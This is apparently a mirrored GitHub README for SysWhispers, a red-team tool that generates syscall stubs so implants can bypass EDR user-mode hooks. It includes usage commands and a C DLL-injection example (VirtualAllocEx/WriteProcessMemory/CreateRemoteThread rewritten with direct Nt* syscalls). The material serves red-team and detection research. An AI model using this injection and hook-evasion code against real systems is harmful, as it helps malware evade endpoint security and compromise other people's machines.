Giter Site home page Giter Site logo

edr-syswhispers's Introduction

SysWhispers

SysWhispers helps with evasion by generating header/ASM files implants can use to make direct system calls.

All core syscalls are supported from Windows XP to Windows 10 19042 (20H2). Example generated files available in the example-output/ folder.

Introduction

Various security products place hooks in user-mode APIs which allow them to redirect execution flow to their engines and detect for suspicious behaviour. The functions in ntdll.dll that make the syscalls consist of just a few assembly instructions, so re-implementing them in your own implant can bypass the triggering of those security product hooks. This technique was popularized by @Cn33liz and his blog post has more technical details worth reading.

SysWhispers provides red teamers the ability to generate header/ASM pairs for any system call in the core kernel image (ntoskrnl.exe) across any Windows version starting from XP. The headers will also include the necessary type definitions.

The main implementation difference between this and the Dumpert POC is that this doesn't call RtlGetVersion to query the OS version, but instead does this in the assembly by querying the PEB directly. The benefit is being able to call one function that supports multiple Windows versions instead of calling multiple functions each supporting one version.

Installation

> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help

Usage and Examples

Command Lines

# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all

# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common

# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X

Script Output

PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom

  ,         ,       ,_ /_   .  ,   ,_    _   ,_   ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
      _/_                         /
     (/                          /   @Jackson_T, 2019

SysWhispers: Why call the kernel when you can whisper?

Common functions selected.

Complete! Files written to:
        syscom.asm
        syscom.h

Before-and-After Example of Classic CreateRemoteThread DLL Injection

py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

Common Functions

Using the --preset common switch will create a header/ASM pair with the following functions:

Click to expand function list.
  • NtCreateProcess (CreateProcess)
  • NtCreateThreadEx (CreateRemoteThread)
  • NtOpenProcess (OpenProcess)
  • NtOpenThread (OpenThread)
  • NtSuspendProcess
  • NtSuspendThread (SuspendThread)
  • NtResumeProcess
  • NtResumeThread (ResumeThread)
  • NtGetContextThread (GetThreadContext)
  • NtSetContextThread (SetThreadContext)
  • NtClose (CloseHandle)
  • NtReadVirtualMemory (ReadProcessMemory)
  • NtWriteVirtualMemory (WriteProcessMemory)
  • NtAllocateVirtualMemory (VirtualAllocEx)
  • NtProtectVirtualMemory (VirtualProtectEx)
  • NtFreeVirtualMemory (VirtualFreeEx)
  • NtQuerySystemInformation (GetSystemInfo)
  • NtQueryDirectoryFile
  • NtQueryInformationFile
  • NtQueryInformationProcess
  • NtQueryInformationThread
  • NtCreateSection (CreateFileMapping)
  • NtOpenSection
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtAdjustPrivilegesToken (AdjustTokenPrivileges)
  • NtDeviceIoControlFile (DeviceIoControl)
  • NtQueueApcThread (QueueUserAPC)
  • NtWaitForMultipleObjects (WaitForMultipleObjectsEx)

Importing into Visual Studio

  1. Copy the generated H/ASM files into the project folder.
  2. In Visual Studio, go to ProjectBuild Customizations... and enable MASM.
  3. In the Solution Explorer, add the .h and .asm files to the project as header and source files, respectively.
  4. Go to the properties of the ASM file, and set the Item Type to Microsoft Macro Assembler.
  5. Ensure that the project platform is set to x64. 32-bit projects are not supported at this time.

Caveats and Limitations

  • Only 64-bit Windows is supported at this time.
  • System calls from the graphical subsystem (win32k.sys) are not supported.
  • Tested on Visual Studio 2019 (v142) with Windows 10 SDK.

Troubleshooting

  • ModuleNotFoundError in Python script.
    • Ensure that the required modules are installed with pip3 install -r requirements.txt.
  • Type redefinitions errors: a project may not compile if typedefs in syscalls.h have already been defined.
    • Ensure that only required functions are included (i.e. --preset all is rarely necessary).
    • If a typedef is already defined in another used header, then it could be removed from syscalls.h.

Credits

This script was developed by @Jackson_T but builds upon the work of many others:

Special thanks to @Dcept905 for testing and suggestions.

Related Articles and Projects

Licence

This project is licensed under the Apache License 2.0.

edr-syswhispers's People

Contributors

jthuraisamy avatar jhalon avatar freefirex avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.